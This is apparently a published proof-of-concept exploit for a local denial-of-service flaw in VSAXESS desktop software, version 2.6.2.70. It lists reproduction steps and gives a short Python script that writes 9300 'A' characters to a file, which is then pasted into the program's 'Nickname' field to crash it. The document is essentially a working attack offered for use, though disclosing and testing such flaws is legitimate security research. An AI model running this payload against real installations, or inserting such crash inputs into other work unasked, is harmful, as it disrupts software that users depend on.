# Exploit Title: VSAXESS V2.6.2.70 build20171226_053 - 'Nickname' Denial of Service (PoC)# Discovery by: Diego Santamaria# Discovery Date: 2018-08-31# Vendor Homepage: https:https://www.visionistech.com/en/home/# Software Link: https://www.visionistech.com/en/vsaxess-desktop-software/# Tested Version: V2.6.2.70 build20171226_053# Vulnerability Type: Denial of Service (DoS) Local# Tested on OS: Windows 7 Professional# Steps to Reproduce: # 1. Run the python code Nickname.py # 2. Open nickname_exploit.txt and copy the content # 3. Open VSAXESS.exe # 4. Register a password and username# 5. choose 'Add'# 6. choose 'Serial Port'# 6. Paste the content from nickname_exploit.txt on 'Nickname'# 7. Press 'Aceptar' and Crashed#!/usr/bin/env python
content = "\x41"* 9300
f = open ("nickname_exploit.txt","w")
f.write(content)
f.close()